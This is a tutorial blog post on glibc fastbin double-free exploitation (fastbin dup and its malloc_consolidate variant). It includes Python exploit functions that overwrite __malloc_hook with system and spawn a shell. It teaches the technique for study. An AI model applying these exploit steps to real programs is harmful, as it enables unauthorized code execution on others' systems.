Categories
Application Security Heap Exploitation

glibc Heap Exploitation: fastbin dup techniques

Consider what happens if we allocate a fastbin-sized chunk and freed it multiple times. We know that free() pushes the freed chunk to the fastbin, but if freed multiple times, the same freed chunk would end up multiple times in the same fastbin, which makes reallocation of the same chunk to different allocation requests possible. This is a fastbin-based double free, or fastbin dup (for duplication), which is a double-free vulnerability in chunks that are less than or equal to 88 B on a 64-bit system (and are hence placed in the fastbin).

Vector

A chunk is freed twice, which tricks malloc() to return duplicate chunks from the fastbin. New chunks are then allocated, and by writing to these new chunks a write-what-where condition is created for arbitrary code execution.

Requirements

  1. Existence of a double-free vulnerability, with the ability to slip in a call to free() in between the double-free (to bypass the last-freed-chunk check in malloc.c)
  2. Ability to allocate chunks (either arbitrarily, or through application interface) in order to trigger the double-free vulnerability
  3. Ability to write data to a chunk.

Example

We allocate 3 fastbin-sized chunks. The first chunk (A) is freed and ends up in the fastbin list. The second chunk (B) is also freed, and A is freed again (double free). B is freed in between the double free() calls for A to pass the security check in free(), which checks if the first chunk
in the freelist is the chunk being freed:

if (__builtin_expect (old == p, 0))
          malloc_printerr ("double free or corruption (fasttop)");

The successive allocations are duplicated since the double freed chunk will be inserted twice in the fastbin list, causing the subsequent allocations to point to the same region of memory.

def exploit_fastbin_dup(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
	chunk_size = 16
	# Allocate 3 fastbin-sized chunks
	A, B, C = [ps.alloc(chunk_size) for _ in range(3)]
	# Free A, then B, then A again
	ps.free(A)
	ps.free(B)
	ps.free(A)
	# The fastbin now has chunks A, B, A.
	# We invoke malloc 3 times to get chunk A twice: 
	[ps.alloc(chunk_size) for _ in range(3)]
	# this gives us chunk B
	slot_leak = ps.alloc(chunk_size)
	ps.alloc(chunk_size)
	# Write the symbol address of __malloc_hook 
	ps.write(slot_leak, p64(leaked_addr))
	ps.print_info(slot_leak, 8)
	# Allocate two chunks to trick malloc into giving us pointer into __malloc_hook
	ps.alloc(chunk_size)
	# This allocation will be at address of __malloc_hook
	slot_system = ps.alloc(chunk_size)
	# Fill returned pointer with address of gadget (system)
	ps.write(slot_system, p64(system_addr))
	ps.print_info(slot_system, 8)
	# Trigger vulnerability by invoking malloc
	return ps.try_spawn_shell(binsh_addr, interactive)

There exists a variant of this attack where malloc_consolidate() is triggered to place a fastbin-sized chunk in a smallbin. Two fastbin-sized chunks are allocated, followed by freeing the first chunk, then making a smallbin-sized allocation. This triggers malloc_consolidate(), placing the freed chunk in the smallbin. Freeing the first chunk again will cause subsequent calls to malloc() to return duplicated chunks.

def exploit_fastbin_dup_consolidate(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
	chunk_size = 16
	# Allocate 2 fastbin-sized chunks A, B
	A, B = [ps.alloc(chunk_size) for _ in range(2)]
	# Free chunk A
	ps.free(A)
	# Allocate a smallbin-sized chunk C to trigger malloc_consolidate
	C = ps.alloc(chunk_size*chunk_size)
	# Free chunk A again
	ps.free(A)
	# Allocate 2 more fastbin-sized chunks of the same size 
	# D, E should have same address as A
	D, E = [ps.alloc(chunk_size) for _ in range(2)]
	# Write the symbol address of __malloc_hook into D
	ps.write(D, p64(leaked_addr))
	# Make 2 fastbin-sized chunks of the same size.
	# F should have the same address as A
	# G should have the symbol address of __malloc_hook
	F, G = [ps.alloc(chunk_size) for _ in range(2)]
	# Fill returned pointer with address of gadget (system)
	ps.write(G, p64(system_addr))
	# Trigger vulnerability by invoking malloc
	return ps.try_spawn_shell(binsh_addr, interactive)

Leave a Reply

Your email address will not be published. Required fields are marked *